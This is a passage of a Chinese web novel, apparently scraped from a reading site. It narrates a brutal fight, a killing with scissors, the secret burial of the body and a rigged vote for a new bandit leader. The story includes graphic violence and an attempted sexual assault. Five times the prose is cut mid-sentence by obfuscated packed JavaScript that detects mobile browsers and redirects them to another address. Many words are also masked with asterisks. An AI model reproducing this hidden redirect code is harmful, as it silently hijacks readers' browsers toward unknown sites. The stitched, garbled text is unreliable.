可自己在这个时候出手,事后如何和她解释?她又会怎么看自己? “啊啊啊……” 李二狗把一切都抛诸脑后,他从衣橱里窜出,从背后对着黄飞虎的脑后就是一掌。 黄飞虎就是黄飞虎,这要换做别人,早就昏死过去,可黄飞虎却只是迷瞪了一下,并没有晕倒。 李二狗的突然出现,令黄飞虎和慕容雪都大吃一惊。 黄飞虎大骂道:“怪不得不答应我,原来是在屋里养了小白脸。” 慕容雪还在一脸懵逼之时,李二狗已经再次发起了进攻。 先下手为强,后下手遭殃,这个道理他还是懂得。 李二狗挥起一拳,直奔黄飞虎面门,尽管黄飞虎喝了很多酒,但还是被他轻易躲过了。 李二狗心里“咯噔”一下,心想,这次遇到硬茬子了。 黄飞虎冷“哼”一声,魁梧的身形猛地往前一冲,砂锅大的拳头带着风声直砸李二狗面门。 第304章 李二狗被打个半死 好在李二狗也是练家子,他猛地偏头躲开,同时抬拳砸向黄飞虎的肋下。 可他的拳头打在黄飞虎紧绷的肌肉上,就像打在一块硬邦邦的石板上,黄飞虎没有什么感觉,自己却震得整条手臂发麻。 黄飞虎在尸山血海中摸爬滚打过来,李二狗又怎么是他的对手。 他反手一把抓住李二狗的手腕,狠狠地往身侧一拧,李二狗只觉得手腕像被一把铁钳紧紧地夹住。 他吃不住痛,胳膊被扭到背后,整个人被迫弯下腰来。 “就你这瘦猴样,也敢坏老子的好事?快说,你到底是什么人?” 李二狗紧咬嘴唇,剧烈地挣扎着。 黄飞虎突然抬脚踹在李二狗的后腰上,李二狗像一个断线的风筝,直直撞向屋里的梨花木圆桌。 “咔嚓”一声,结实的圆桌竟被撞得散了架,桌腿、木板溅得满地都是。 李二狗趴在地上,喉间涌上一股腥甜,刚想撑起身子,黄飞虎已经大步地跨到他面前,抬脚踩住他的后背,把他死死按在碎木渣里。 “快说,你到底是什么人?和她是什么关系?” “老子是路见不平,拔刀相助!” “去**拔刀相助,我看你是找死!” 慕容雪虽然不认识李二狗,但这个男人冒着生命危险救自己,这个时候她不能眼睁睁地看着他被黄飞虎打死。 她从床上尖叫着扑过来,却被黄飞虎狠狠一胳膊抡开,踉跄着撞在床架上,额头立刻磕出血,血流满面。 慕容雪偷汉子的行为已经彻底激怒了他,他早已顾不得怜香惜玉。 黄飞虎竟然打女人,这一下彻底激怒了李二狗。 他不顾后背钻心的疼痛,猛地弓起身子,肩膀狠狠往后顶,竟硬生生挣开了黄飞虎的脚。 他转身抓起地上的半截桌腿,朝着黄飞虎的膝盖砸去。 黄飞虎敏捷地跳开,桌腿砸在地上,溅起一片尘土。 不等李二狗再抬手,黄飞虎已经欺身过来,一拳砸在他的胸口上。 李二狗像被重锤击中,倒飞出去,狠狠撞在墙壁上,屋顶的泥块簌簌往下掉。 他捂着胸口瘫坐在地上,嘴角不断地溢出鲜血,眼前阵阵发黑。 黄飞虎一步步走过来,每一步都像踩在他的心上。 “看来不给你一点教训,你不知道马王爷有几只眼。” 黄飞虎抬起脚,狠狠踹向李二狗的小腹,李二狗疼得蜷缩起来,浑身抽搐,嘴里不住地呕血,身上的衣服很快被血迹浸透。 慕容雪哭着爬过来,想护在李二狗身前,却被黄飞虎一把揪住头发,硬生生扯起来。 “怎么,心疼了?你们这对奸夫**,老子今天一定要办了你这个臭**!” 他的指甲深深嵌进慕容雪的头皮,疼得她眼泪直流,却死死咬着牙不肯屈服。 就在黄飞虎拖着慕容雪往床上走时,一只沾着血的手突然抓住了他的脚踝。 黄飞虎低头一看,竟是李二狗。 他正趴在地上,脸色惨白,嘴唇干裂,死死抱住黄飞虎的大腿,像块粘在骨头上的烙铁。 “找死!”黄飞虎怒喝一声,抬脚狠狠地踹向李二狗的脑袋。 李二狗的头被踹得偏向一边,耳朵里流出温热的血,却反而把黄飞虎的大腿抱得更紧。 他手指抠进他裤腿的布料里,指甲断裂,鲜血顺着指缝渗出来,染红了黄飞虎的裤脚。 “你快松手啊!他会打死你的!” 慕容雪哭喊着,挣扎着想扑过去,却被黄飞虎另一只手死死按住肩膀。 慕容雪的哭喊声让黄飞虎更加恼怒。 他又连续踹了李二狗好几脚,每一脚都落在他的背上、腰上,李二狗的身体剧烈颤抖,却始终不肯松开。 他从喉咙里挤出模糊的声音:“你……走……快走……” 黄飞虎彻底被两人的深情激怒了。 他弯腰抓住李二狗的后领,把他提起来,狠狠往墙上撞去。 “砰”的一声,李二狗的头撞在墙壁上,眼前一黑,差点昏过去,可他的手依然死死抱着黄飞虎的大腿,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073537|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 藤蔓般缠死树干。 趁着黄飞虎低头对付李二狗的瞬间,慕容雪的目光扫过地上。 刚才木桌散架时,她缝补衣裳用的剪刀掉在了那里,闪着冷光。 她猛地挣脱黄飞虎的手,踉跄着扑过去,抓起那把锋利的剪刀,用尽全身力气,朝着黄飞虎的后背狠狠刺去。 “噗嗤”一声,剪刀尖刃穿透黄飞虎的衣裳,扎进他的胸膛。 黄飞虎浑身一僵,难以置信地低头看着胸前的血窟窿,缓缓转过头,看向身后脸色惨白、浑身发抖的慕容雪。 他张了张嘴,似乎想说什么,可喉咙里只发出“嗬嗬”的声响,鲜血从嘴角涌出来。 黄飞虎的身体晃了晃,轰然倒在地上,眼睛瞪得老大,再也没了动静。 茅草屋里瞬间安静下来,只剩下两个人急促的呼吸声。 慕容雪手里还攥着剪刀,看着地上的黄飞虎,浑身止不住地颤抖,眼泪大颗大颗砸在手上。 她跌跌撞撞地走到李二狗身边,蹲下来轻轻抱住他。 “你……到底是谁?” 李二狗已经虚弱得睁不开眼,嘴里喃喃道:“你没事……就好……” 说完就晕死过去。 慕容雪把脸埋在他沾满血和尘土的肩膀上,眼泪混着血水,浸湿了他的衣裳。 油灯的光在风里摇曳,映着地上的尸体和相拥的两人。 茅草屋外的风还在刮着,可这间破旧的茅草屋里,终于有了一丝劫后余生的暖意。 李二狗再次醒来时,已经躺在床上,慕容雪正趴着头在床上睡着了。 他抬起手,手臂立刻传来一阵撕心裂肺的疼痛,他咬着牙才没有发出呻吟。 他的手颤巍巍地摸向慕容雪的头发,为了这个女人,他差点丢掉性命。 慕容雪感觉到有人在抚摸自己的头发,抬起头,看到李二狗一张惨白却十分英俊的脸庞。 她突然意识到了什么,警觉地站起身来,不自觉地向后退了两步,厉声质问道:“你到底是谁?为什么会出现在我屋里?” 第305章 你为什么会出现在我屋里 李二狗并没有回答慕容雪的质问,不是他不想回答,而是他还没想好怎么回答她才能显得合情合理,不至于露出马脚。 他的大脑在急速运转的同时,也想用自己的问题来转移慕容雪的注意力,以为自己争取时间。 他故意看了看床下,问道:“黄飞虎……的尸体呢?我怎么没看到!” 慕容雪突然变得有些慌乱起来。 她用剪刀捅死黄飞虎,当时李二狗又受伤昏迷过去,万般无奈之下她只能先把黄飞虎的尸体拖到山洞里。 她有些局促地指了指屋后那扇门,说道:“我把他的尸体拖到后面的山洞里了。” 李二狗“嗯”了一声,然后嘱咐道:“你做得很好,不过此事一定不要告诉任何人,否则你有性命之忧。” 慕容雪郑重地点了点头,她杀死黄飞虎,虽然是因为黄飞虎欺凌她在先,但沈公豹、**天一定会借助这个机会对慕容雪发难。 尤其是沈公豹,他早就对慕容雪的美色垂涎已久。 “你还没有告诉我你为什么会出现在我屋里?”慕容雪还是没有忘记这个问题,不过她话虽说得严厉,但看向李二狗的眼神却显得很温柔。 因为她心里清楚,李二狗能在自己危难之时挺身而出,尤其是不顾自身性命死死抱住黄飞虎的大腿让自己逃走,这样的人当然是不可能害自己的。 李二狗很认真地说道:“如果我说是上天派我来救你的,你信吗?” 慕容雪被李二狗逗笑了。 “你当我是傻子吗?我当然不信!” 其实李二狗早已想好了对策,他只是想逗一逗慕容雪。 “嘿嘿,其实我也不信。” “那你快说,你为什么会出现在我屋里?你是什么时候进来的?” 李二狗当然不能对她说实话,如果被她知道自己偷看了她在温泉池里沐浴,自己岂不成大流氓了? “实不相瞒,我是清风寨的大当家李二狗。” 李二狗之所以把自己的**告诉慕容雪,是因为慕容雪杀**黄飞虎,李二狗有把握慕容雪不会把自己的**告诉别人。 慕容雪惊讶之情溢于言表。 这也难怪,在江东土匪界,人人都知道清风寨的大当家是一个神秘的存在,很少有人见过他的真实面目,当然更不会知道他的真实姓名。 “你真是清风寨的大当家李二狗?我记得胡家大院有个管家也叫李二狗,难道你们是同一个人?” 李二狗没想到自己的名声这么响,他决定对慕容雪毫无保留。 “你猜得没错,我既是胡家大院的管家也是清风寨的大当。小雪,请你答应我一件事好吗?” 慕容雪没有想到李二狗会直接称呼她的小名,“小雪”,只有她的家人才会如此称呼她。 但李二狗如此称呼她,她却感觉不到一丝一毫的违和感。 “你让我答应你什么?” “不要告诉任何人我的**,除了清风寨少数几个人之外,没有人知道我的**。” “你放心,我不会告诉任何人的。”慕容雪拍着胸脯保证道。 不得不说,慕容雪的胸脯真是真材实料,是李二狗喜欢的那种尺寸。 正当李二狗胡思乱想之时,慕容雪再次问道:“你还是没有告诉我你为什么会出现在我屋里?” 李二狗没想到慕容雪如此执着,不达目的誓不罢休。 “今天你们山寨不是来了一位我们清风寨的人吗?他叫秀才,我是跟着他一起混进来的。但你们山寨实在是太大,我迷了路,听到你这边有求救声,我才赶过来的。” 慕容雪当时被黄飞虎摁在床上,再加上惊慌失措,她并不能确定李二狗到底是怎么出现的。 “那你为什么要救我?” 李二狗没想到慕容雪会问这种傻问题,英雄救美都不知道。 “我平生最痛恨的就是男人欺负女人,只是我没想到欺负你的竟然是黄飞虎,他实在不配做你们霸虎寨的大当家。” 慕容雪对李二狗的好感度蹭蹭的往上涨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073538|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,这样的男人才配叫男人,不像黄飞虎,简直就是**。 慕容雪眼角含笑、眉目传情,看得李二狗心都酥了。 “为了救我,害得你受伤这么严重,真不知道该如何感谢你。” “区区小事,何足挂齿。倒是黄飞虎之事解决起来的确很棘手,这个消息肯定瞒不了多久的。对了,你们山寨沈公豹和**天对你怎么样?” “那个沈公豹好色成性,早就对我垂涎已久,只是碍于我爹和黄飞虎的关系不敢对我有非分之想,如今这个情形,他一定不会善罢甘休的。” “那他和**天的关系怎么样?” “**天一直看不上沈公豹,认为他行事鲁莽,不学无术,只是凭借着和黄飞虎的密切关系,才做了二当家。” “鹬蚌相争,黄雀在后,我们可以利用他们之间的相争坐山观虎斗。” 慕容雪不明白李二狗的坐山观虎斗是什么意思,她现在最担心的还是黄飞虎的尸体。 “那黄飞虎的尸体怎么办?” “等天黑之后我们再找个地方把他的尸体埋了。” “可是昨晚有很多人看到他来我这里了,能瞒得住吗?” “瞒不住也得瞒,只要我们不承认,别人也不能把黄飞虎失踪的事安在你身上,你记住一点,你是受害者。” 慕容雪想了想,觉得李二狗说得很有道理。 “我都听你的,二狗。” 一声二狗,把李二狗叫得心里暖暖的。 “小雪,那我们就等天黑之后再动手。” 慕容雪点了点头,正在这时,突然响起了一阵敲门声。 “慕容姐,你在屋里吗?” 李二狗此时正躺在慕容雪床上,他身上绑着绷带,根本没有地方可藏,慕容雪一时显得有些慌乱。 她低声问道:“我们现在怎么办?” 李二狗心中早已有了主意。 “你装作被黄飞虎欺凌的样子,不要让任何人进来。” 慕容雪立刻心领神会,放声痛哭起来。 第306章 你就是霸虎寨大当家 “慕容姐,你怎么了?”孙小雨问道。 慕容雪边哭边说道:“黄飞虎这个王八蛋,我没脸见人了。” 昨晚,黄飞虎酒后到慕容雪屋里孙小雨是知晓的,当时她根本不敢靠近!她知道慕容雪心里肯定会埋怨自己。 “慕容姐,你千万别想不开!快点开开门,让我进去。” 李二狗给她使了个眼色。 “小雨,你走吧,我现在不想见任何人,我只想一个人静一静。” 孙小雨心想,慕容雪果然在埋怨自己,可自己只是一个小丫鬟,当时那种情形她根本没有任何办法。 她只能说道:“慕容姐,大当家的不见了,现在大家都在到处找他。” “他**才好呢!我再也不想见到他,呜呜……” “慕容姐,三当家的让我来问问你,昨晚大当家的从你这里离开后去了哪里?” “我怎么知道他去了哪里?他爱去哪里去哪里,我根本不关心。” 慕容雪哭得更伤心了。 “慕容姐,那你好好休息,我先去回禀三当家的一声。” 孙小雨走后,李二狗朝着慕容雪竖了一个大拇指。 慕容雪羞涩地一笑,娇嗔道:“都怪你,非让人家这样演,人家以后还怎么见人?!” “以后你就是霸虎寨大当家,谁敢对你无理?” 慕容雪连忙摆手道:“我?大当家的?这怎么可能?沈公豹和**天都不是省油的灯,他们怎么会同意让我当大当家的?” 李二狗则显得很有信心。 “我刚才都说过了,鹬蚌相争,渔翁得利,得让他们两个人先斗起来。” 慕容雪还是一脸懵逼。 “怎么斗?” 李二狗保持着对漂亮女人特有的耐心,他最喜欢教导这种单纯的女人。 “一般来说,大当家的失踪了,一般会由二当家的接任寨主之位。” “对啊,可我只是四当家的,怎么可能由我接任寨主呢?” 李二狗笑道:“你先听我把话说完,**天难道不想当寨主吗?他肯定也想,得想个办法让他俩斗起来。” “什么办法?” “现在还不到时候,等明天他们再找不到黄飞虎,肯定会先推选一个寨主出来,到时候你选择支持**天,沈公豹肯定会不服气,**天见你支持自己,肯定会**,他俩之间必有一场争斗。” 慕容雪不禁对李二狗刮目相看,这个男人怎么肚子里这么多主意,难怪人家能当上清风寨的大当家。 “二狗,我都听你的,不过当霸虎寨的大当家,我可没有信心。” “你不当大当家,怎么保护你自己?你放心,有我在背后支持你,你肯定没有问题。” 慕容雪这才放下心来,有清风寨的支持,当然不会有问题。 “你先别说话了,我再给你上点药吧,你看你身上的伤口又出血了。” 和慕容雪说了半天话,李二狗完全忘记了身上的伤痛。 现在经慕容雪这么一提醒,李二狗才感觉到全身上下每个毛孔都在痛。 慕容雪拿出跌打损伤药,贴心地为李二狗伤口上药。 李二狗全身上下都有伤,他身上除了绷带之外,只穿着一条裤衩,慕容雪给他上药时,他身体的某个部位竟情不自禁地发生了变化。 慕容雪一张俏脸羞得通红,李二狗恨不得找个地缝钻进去。 这种没见识的行为,实在是太丢脸了,李二狗自认不是一个没有见识的男人。 抹完药之后,慕容雪给李二狗身上盖好被子。 “你先休息一会吧,等天黑了我们再出去找地方掩埋黄飞虎的尸体。” “那你呢?昨晚一定没休息好吧?看你都有黑眼圈了。” 一听到自己有了黑眼圈,慕容雪的脸色都变了。 她摸着自己的脸颊,不好意思地说道:“这么明显吗?” “确实很明显,要不然你也上床睡一会吧。” 慕容雪红彤彤的俏脸顿时红到了耳朵根。 “这……我还是在椅子上眯一会吧。” 李二狗自嘲道:“我现在都这个样子了,你还有什么好担心的?上来吧,我保证不碰你。” 对于李二狗,慕容雪还是给予了充分的信任。 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078336|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >李二狗不碰她的承诺,她既感到安心同时也有一丝失望,一种说不出来的感觉。 慕容雪脱掉靴子,和衣躺在了李二狗身边。 两人的呼吸都有些急促,他们都努力平复着自己的心情,以免给对方留下不好的印象。 也许是太累了,不知道什么时候两人都睡着了。 慕容雪醒来时,夜色已经降临。 李二狗尚在熟睡当中,突然他一个翻身,和慕容雪来了个面对面。 慕容雪能清晰地感觉到李二狗的鼻息扑到自己脸上,痒痒的,很舒服。 真是一张人畜无害完美无缺的俊俏脸庞,这一刻,她有一丝想要亲他一口的冲动。 她鼓足勇气,好几次试图去靠近他性感的厚嘴唇,最近的一次几乎两个嘴唇已经触碰到一起,最后她还是放弃了。 她不是那样随便的女人! 慕容雪翻身下床,她实在抵挡不住这种诱惑,那就只能让自己远离这种诱惑。 尽管她十分小心,但起床的声音还是惊醒了李二狗。 他揉了揉有些酸痛的眼睛,问道:“现在几点了?” “已经晚上八点了。” 李二狗从床上坐起来,疼得龇牙咧嘴。 “伤口还很疼吗?”慕容雪关心地问道。 “还好,都是一些皮外伤,没事的。” 李二狗想要下床,一掀被子才发现自己身上只穿了一条裤衩。 慕容雪立刻发现了李二狗的尴尬,赶忙说道:“你的衣服破了,我已经给你缝补好了,我现在拿给你。” 她快步走到桌前,把缝补好的衣服拿给李二狗。 李二狗接过衣服,尴尬地看了一眼慕容雪。 “你穿吧,我保证不看,嘿嘿。” 慕容雪调皮地转过身,李二狗觉得她看自己的眼神很熟悉,那是女人对男人的欣赏。 这种眼神于兰芝有,**有,静雯有,甚至连张玲玉也有。 李二狗穿好衣服,便下了床。 他身上的伤口虽然还没有完全愈合,但抹了金疮药之后明显好了很多。 突然,李二狗捂住了肚子。 第307章 是时候选出一位新寨主了 “咕噜咕噜……” 李二狗的肚子突然传来一阵咕噜声,他已经一天一夜没有吃东西了。 李二狗还没来得及尴尬,慕容雪的肚子也跟着咕噜起来,两人都是一天一夜没有吃东西了。 “实在不好意思,我去食堂弄点吃的,你在这里等我,不要出来。” 慕容雪走后,李二狗推开后门进入山洞,看到黄飞虎的尸体被放置在一个角落里,地上还有一摊血迹。 自己和慕容雪在前屋打情骂俏,洞里却躺着一具冰冷的尸体,实在是有碍观瞻。 另外李二狗还担心尸体放在山洞太久,随时有暴露的风险,他决定自己独自去埋了他,这种腌臜之事他不想让慕容雪参与。 昨天进屋的时候他记得门前放有一把铁锨,便走出房门,果然在门前看到一把崭新的铁锨。 他拿起铁锨来到离茅草屋不远处的一块平地,平地上的土质比较松软,正适合挖坑埋人。 平地一侧有一棵长势茂盛的柿子树,把黄飞虎埋在这棵树下,也算给他一个遮风挡雨之所。 李二狗观察了一下四周,并没有发现什么异常情况,便在树下挖了起来。 身体上的伤口处不时传来一阵阵的疼痛感,但李二狗已顾不得这些。 不到半个小时,他就挖好了一个七尺见方的土坑,土坑虽然不是很深,但把黄飞虎的尸体放在里面,埋好后再在上面堆一些碎石,旁人根本发现不了。 李二狗返回茅草屋,把黄飞虎的尸体拖出来,扔在土坑里。 躺在土坑里的黄飞虎安静地闭着眼睛,神态安详,再也没有了曾经的飞扬跋扈。 “飞虎啊,没能给你打口棺材实在也是迫不得已,希望你能谅解我的难处,来世不管你托生成什么都不要再做恶事。” 李二狗叹息一声,然后拿起铁锨铲土埋了起来。 又出了一身臭汗,汗水浸到伤口里钻心的疼。 埋好后他又铲了一些碎石堆放在上面,一代土匪黄飞虎就这样草草结束了他罪恶的一生。 李二狗返回茅草屋,把地上的血迹处理干净。 做完这些,李二狗才发现自己身上的绷带已然被鲜血浸透。 “哎呀,你怎么这么不听话?伤口怎么又裂开了!快坐下,我给你看一看伤口。” 慕容雪手里提着饭刚进屋,看到李二狗身上血红血红的绷带,差点把手里的饭菜掉到地上。 “没事,刚才出去稍微活动了一下,没想到伤口又裂开了。” 慕容雪愠怒道:“明明知道自己身上有伤还出去活动?你真是不知道人家会心疼的吗?快坐下,我给你抹点药,伤口要是发炎了,有你好受的。” 李二狗不想过多的解释,只得微笑着坐在床沿上,此刻他的心里甜如蜜甜,根本感觉不到伤口的疼痛。 慕容雪小心翼翼地解下绷带,伤口处的血迹令她忍不住落下热泪。 其实李二狗受得主要是内伤,这些皮外伤的伤口处虽然看似狰狞,实际上并无大碍。 慕容雪给李二狗抹药的手明显有些颤抖,生怕弄疼了他。 虽然确实有些疼痛,但李二狗哼都没哼一声,全程保持着灿烂的笑容。 包扎完伤口,慕容雪命令道:“待会吃完饭之后,你老老实实上床躺着休息,哪里也不许去!黄飞虎的尸体我自己去处理。” 李二狗轻飘飘地说道:“黄飞虎的尸体我已经处理完了,哪能让那个腌臜之物玷污了你纯洁的眼睛。” 慕容雪这才明白他身上的伤口为何会全部裂开。 千言万语只化作一句甜蜜的埋怨。 “你怎么这么傻啊?” 两人吃过饭之后,慕容雪赶紧催促李二狗上床躺着,为了防止他不听话乱走动,她自己主动躺在了李二狗身边。 两人静静地躺在床上,倾听着彼此的呼吸声,谁都不敢越雷池半步。 天色尚早,为了避免尴尬,李二狗主动说道:“小雪,咱们聊聊天吧。” “好啊。”慕容雪愉快地答应了。 这一聊就停不下来,两人从诗词歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078337|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 赋聊到人生哲学,从儿时趣事聊到壮志豪情。 李二狗读书不多,慕容雪聊到诗词歌赋、琴棋书画的时候,他虽然听不太懂,但没有表现出一丝一毫的不耐烦,而是认真地倾听,时不时地还会发出一声赞美和感慨。 当李二狗添油加醋般聊到自己**王正直的粮食分给灾民的往事时,慕容雪则如小迷妹般完全被李二狗的英雄壮举所折服。 两人越聊越投机,四目相对之时,已有些情不自禁。 李二狗暗暗告诫自己,一定要控制住自己。 他控制控制再控制,可还是没控制住。 在情感即将决堤之时,李二狗突然说道:“小雪,今晚的月亮好圆啊,咱们去屋顶看月亮吧。” 慕容雪内心虽略有失望,但内心也愈发佩服李二狗的为人。 两人一起来到屋顶,慕容雪依偎在李二狗怀里,两人抬头看着一轮明月和满天繁星,内心的欲望之火才渐渐熄灭。 “二狗,不管以后怎么样,我都不会忘记今晚的月亮,这是我今生看过最美最圆的月亮。” 李二狗有感而发道:“明月有情应识我,年年相见在他乡。” 慕容雪一愣,心知李二狗这么优秀的男人一定是一个有故事的人。 她也感叹道:“我还是喜欢苏东坡的但愿人长久,千里共婵娟。” 两人就这样相依相偎,不知道什么时候竟靠在一起睡着了。 清晨枝头的喜鹊叽叽嚓嚓地叫个不停。 两人几乎同时醒来。 腰酸背痛腿麻脚麻,但内心却无比充盈。 两人相视一笑,百般思绪涌上心头。 两人相互搀扶着回到屋内,李二狗突然想到了一件事。 “黄飞虎失踪这么久,他们肯定急坏了。” “昨晚我去食堂做饭的时候,听他们说,沈公豹和**天已经闹翻了天。” 李二狗笑道:“不能再等了,是时候选出一位新寨主了。” 慕容雪心领神会。 “一会我就去聚义堂。” 第308章 事业爱情双丰收 霸虎寨聚义堂。 沈公豹和****目而视,慕容雪则冷眼旁观。 “大哥不会无缘无故地消失,我怀疑一定是有人对大哥下了毒手。” 沈公豹说完看向慕容雪,这个女人刚被黄飞虎欺凌,此刻竟如此淡定,其中必有蹊跷。 黄飞虎神秘消失,**天内心虽也着急,但他最担心的还是自己在霸虎寨的未来。 如果沈公豹顺理成章接手霸虎寨成为新任寨主,自己将永无立足之地。 “大哥武功盖世,谁能悄无声息地对大哥下毒手?” “那你说大哥去哪儿了?” “大哥去哪了我怎么知道?” “你不知道就给我闭上你的鸟嘴!” “你……” 两人几乎同时站起身来,手放在枪柄上,剑拔**张,大战一触即发。 “好了,都是自家兄弟,吵什么?” 慕容雪很少大声说话,沈公豹和**天几乎同时看向有些不正常的她。 沈公豹问道:“四妹妹,你真不知道大哥去哪了吗?” “哼,我要知道他在哪,我肯定剥了他的皮,他还有脸见我吗?他对得起我爹对他的知遇之恩吗?对于这种忘恩负义的小人,山寨的兄弟能服他吗?” 沈公豹和**天都沉默了。 黄飞虎酒后欺凌慕容雪,这种事情确实是上不得台面,难道他真得会放弃山寨羞愧而逃? 慕容雪见自己的目的已然达到,便说道:“我建议咱们重新选一位寨主出来,不管他黄飞虎回不回来,我都不同意他再做霸虎寨寨主,因为他不配!” 听到要重新选出一位寨主,沈公豹激动异常。 其实沈公豹心中早有此意,作为霸虎寨二当家,大当家失踪,二当家接任寨主顺理成章。 但这样的事别人不提,他自己不好提出来,以免落人口实。 没想到慕容雪却主动提出重选寨主一事,真是自己欲望刚起,美人已然裸身来到床前。 自己和慕容雪都来自东北,曾经也是她爹慕容复手下的一名军官,于公于私,她没有理由不支持自己。 想到这,沈公豹激动的满面红光,仿佛自己已经坐上了寨主的宝座。 “山寨不能一日无主,我同意四妹妹的意见。” 沈公豹和慕容雪都同意重新推选寨主,**天即使想反对,也根本不起作用。 不过想到沈公豹一旦当上寨主,自己在山寨将无立足之地,**天还是决定**。 “如今大哥下落不明,我们就如此着急地推选新的寨主,这样恐怕有所不妥吧?如果大哥回来了怎么办?” **天这话说得合情合理,沈公豹一个粗人,一时还真不知道该如何反驳。 慕容雪冷笑道:“这还不容易?咱们先推选一位代理寨主,行使寨**力,如果黄飞虎回来了,再让给他就是了,这样大家面子上也都过得去。” 沈公豹简直想立马跪在慕容雪的脚边,这个女人真是上天赐给自己的礼物。 她如今虽然被黄飞虎欺凌,不再是自己心目中那个冰清玉洁的女人,但她实在太美太馋人了。也正因为被黄飞虎欺凌,她才不得不做自己的压寨夫人。 事业爱情双丰收,沈公豹眼前一片坦途,即将攀上人生的巅峰。 慕容雪的话说的更加合情合理,**天再想反驳也找不到合适的理由。 “既然大家都同意,那咱们就开始吧。” 慕容雪话音未落,沈公豹突然意识到有些不对劲。 如果他们三个人都是自己推选自己岂不是等于陷入僵局。 “等一下,四妹妹,如果咱们每个人都投自己一票,岂不是永远也选不出来寨主?” “那二哥有何建议?难道让山寨的兄弟每人都来投上一票吗?” 沈公豹当然不愿意这样,他平时在山寨作威作福惯了,底下的人早就对他怨声载道。 “那当然不行!这么重要的事情怎么能让他们那些无知的‘崽子’们投票?岂能视同儿戏?” “这也不行,那也不行,干脆还是先别选了,说不定过几天大哥就回来了。” 慕容雪说道:“如果我们都推选自己,每个人得票一样的话,到时候就按咱们目前排名的先后顺序来决定寨主人选。” 慕容雪的这个建议无异于宣布沈公豹已经是新任寨主人选。 “我反对!” **天实在想不明白,慕容雪为何会提出这样一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081646|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 个利人不利己的主意。 “我同意!”沈公豹举双手赞成。 沈公豹和慕容雪都同意,**天的反对就显得毫无意义。 为了以示公允,在慕容雪的建议下,沈公豹叫来门口两个正在站岗的兄弟来做公证人。 慕容雪笑得像花儿一样。 “那咱们就开始投票吧。” 不出所料,沈公豹和**天都投了自己一票。 “四妹妹,展示一下你的投票结果吧。”沈公豹催促道,此时他已胜券在握。 **天则阴着一张脸,他知道,一旦沈公豹当上代理寨主,虽然不会立即把自己赶下山,但自己也肯定不会有好日子过。 慕容雪微微一笑,把自己手中的票徐徐展开。 沈公豹的笑容僵在脸上,**天则是一脸的惊诧! 她的票上竟写着一个大大的“雷”字。 “你……” 沈公豹万万没想到慕容雪竟然投了**天一票,他俩平时几乎都没有说过话。 不仅沈公豹没想到,**天更是没有想到。 慕容雪一向孤傲,在山寨特立独行,自己和她根本没有任何交集,她为何会投自己一票?实在是令人匪夷所思。 “二当家的一票,三当家的两票,三当家的胜出。”公证人朗声宣布道。 “住嘴!”沈公豹上前夺过公证人手里的纸条,立马撕个粉碎抛在空中,“都给老子滚!” 两名公证人见状,一溜烟跑了,他们可不想触这个霉头。 “二哥,按照咱们事先约定的规则,代理寨主理应由三哥接任。” 面对天上掉下来的馅饼,**天尚未从惊喜中缓解过来,听到慕容雪的话,他才回过神来。 “四妹说得有道理,我同意!” “你同意个六!”沈公豹怎能让**天骑到自己头上,“你们两个串通一气,这个投票结果我不认!” “沈公豹,投票结果岂是你想认就认,你不想认就不认的?” “老子就不认!你能把老子咋地?” “老子以代理寨主的身份把你逐出山寨!” “你敢!” “老子有什么不敢的?” 